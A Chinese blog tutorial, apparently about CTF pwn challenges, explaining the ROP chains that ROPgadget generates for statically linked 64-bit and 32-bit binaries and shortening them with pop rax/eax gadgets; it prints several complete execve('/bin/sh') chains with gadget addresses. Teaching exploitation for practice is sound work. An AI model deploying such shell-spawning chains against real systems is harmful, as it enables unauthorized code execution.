Ropgadget中ropchain的详细分析

前言

        在静态连接程序中,利用ROPgadget生成现成的ropchain,可以直接实现getshell,主打一个方便。        

        但是,通常情况下,由于程序的输入长度有限制,而ROPgadget生成的ropchain过长,导致ropchain无法适用,如果能够针对ropchain进行简单的修改的话,那便能减少构建rop链花费的心思。

如何使用ROPgadget生成ropchain

(1)ROPgadget命令生成ropchain

ROPgadget --binary gift_rop --ropchain

(2)命令执行后,会回显一段很长的gadget段,往上滑,找到ROPgadget构造好的ropchain

(3)从 #padding goes here 开始就是ROPgadget构造好的ropchain

(4)程序没有输入限制情况下,只需将padding填入此处,就能利用现成rop链进行getshell

解析ROPgadget中ropchain原理

ROPgadget构建的ropchain本质就是执行syscall

(1)填充长度padding:

(2)将rsi设置为.data段的地址,将/bin/sh写入rax,再将rax的内容写入rsi所指向的地址

(简单来说就是借助rsi和rax两个寄存器将字符串'/bin/sh'写入.data段中)

(3)xor rax,rax指令是将寄存器rax清空为0,然后将.data+8地址处的值设置为0

(4)将rdi设置为'/bin/sh'地址,将rsi,rdx,rbx设置为0(此时@.data+8处是为0的)

(5)从padding开始直到syscall调用之前实现rax每次加1

(64位系统的调用号为59(0x3B),所以执行59次指令add rax,1)

(6)最后调用syscall函数

修改ropchain长度详解

思想:由上面的分析可以发现,ropchain在设置rax的值时,执行了59次add rax,1指令。既然知道了后续的指令都是为了将rax的值设置为59(0x3B),那能不能找到更加高效的gadget对其进行替代,从而缩短ropchain的长度呢

64位静态编译程序的rop修改

首先明白ropchain的本质是执行syscall,因此64位程序对应的syscall为:

        Syscall(0x3b ,'/bin/sh',0,0)

        目标实现:rax=0x3b ,rdi='binsh' ,rsi=0 ,rdx=0,syscall_addr

(1)ROPgadget命令查找可修改rax寄存器的gadget进行替代:

ROPgadget --binary gift_rop --ropchain |grep rax

(2)通过指令 pop rax,ret 实现设置rax的值为59(0x3B)

P64(pop_rax)+P64(0x3B)

   通过 pop rax 实现rax传值的方式,极大缩短了ropchain的长度

#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
        p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += p64(0x3B)
p += pack('<Q', 0x0000000000401ce4) # syscall

(3)ROPgadget命令查找可以修改rsi,rdx,rbx寄存器的gadget

ROPgadget --binary gift_rop --only 'pop|ret'|grep ret

(4)最终缩短后的ropchain

#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
 
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += p64(0)
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += p64(0)+p64(0)
        p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += p64(0x3B)
p += pack('<Q', 0x0000000000401ce4) # syscall

32位静态编译程序的rop修改

32位程序对应的syscall为:

        Int80(0xb ,'/bin/sh' ,0 ,0)

        目标实现:eax=0xb ,ebx='binsh' ,ecx=0 ,edx=0 ,int0x80_addr

ROPgadget构建的ropchain:

#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''

p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
        p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x080493e1) # int 0x80

(1)ROPgadget命令查找可修改eax寄存器的gadget进行替代

ROPgadget --binary simplerop --ropchain |grep eax

2)通过 pop eax,ret 实现设置eax的值为11(0xB)

P32(pop_eax)+P32(0xb)
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''

p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
        p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80

3ROPgadget命令查找可以修改ebx,edx,ecx寄存器的gadget

ROPgadget --binary simplerop --only 'pop|ret'|grep ret

4)最终缩短后的ropchain

#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''

p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
p += p32(0)+p32(0)+p32(0x080ea060)
        p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80

总结

(1)对ropchain的优化,无非就是利用寄存器gadget来替代ROPgadget中ropchain过于复杂的操作,从而缩短ropchain的长度。

(2)一般情况下,只需要利用rax或者eax寄存器gadget替代对应部分的操作就能满足题目需求。

(3)如果再进一步利用其他寄存器gadget去替代对应部分操作,实质上与自己直接构造rop链相差无几。

  • 47
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ropgadget是一个用于构建ROP(Return Oriented Programming)链的工具,它能够从二进制文件提取出可供利用的ROP gadgets(即一系列具有特定功能的指令序列)。ROP链是一种在没有执行代码注入的情况下,利用程序已存在的代码片段来构造攻击的方法。 要下载ropgadget,首先需要确保系统已经安装了Python和pip(Python的包管理器)。然后可以使用以下命令来安装ropgadget: 1. 打开终端或命令提示符窗口。 2. 输入以下命令并按下回车键:pip install ropgadget 3. 该命令将自动下载并安装ropgadget及其依赖项。 安装完成后,可以使用ropgadget命令来运行该工具。例如,要在名为"binary"的二进制文件查找ROP gadgets,可以使用以下命令: ropgadget --binary binary 该命令将会在终端输出显示找到的ROP gadgets的列表,包括每个gadget的地址和指令。 使用ropgadget可以帮助安全研究人员和渗透测试人员更方便地分析目标程序的漏洞,并构建攻击载荷。通过寻找合适的ROP gadgets并组合它们,攻击者可以利用程序本身的代码段来实现特定的攻击目的,比如绕过保护机制、执行特定的系统调用、获取敏感信息等。 总之,ropgadget是一个用于构建ROP链的有用工具,它能够帮助研究人员和攻击者在没有代码注入的情况下进行攻击,因此在进行安全研究和漏洞利用方面具有重要价值。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值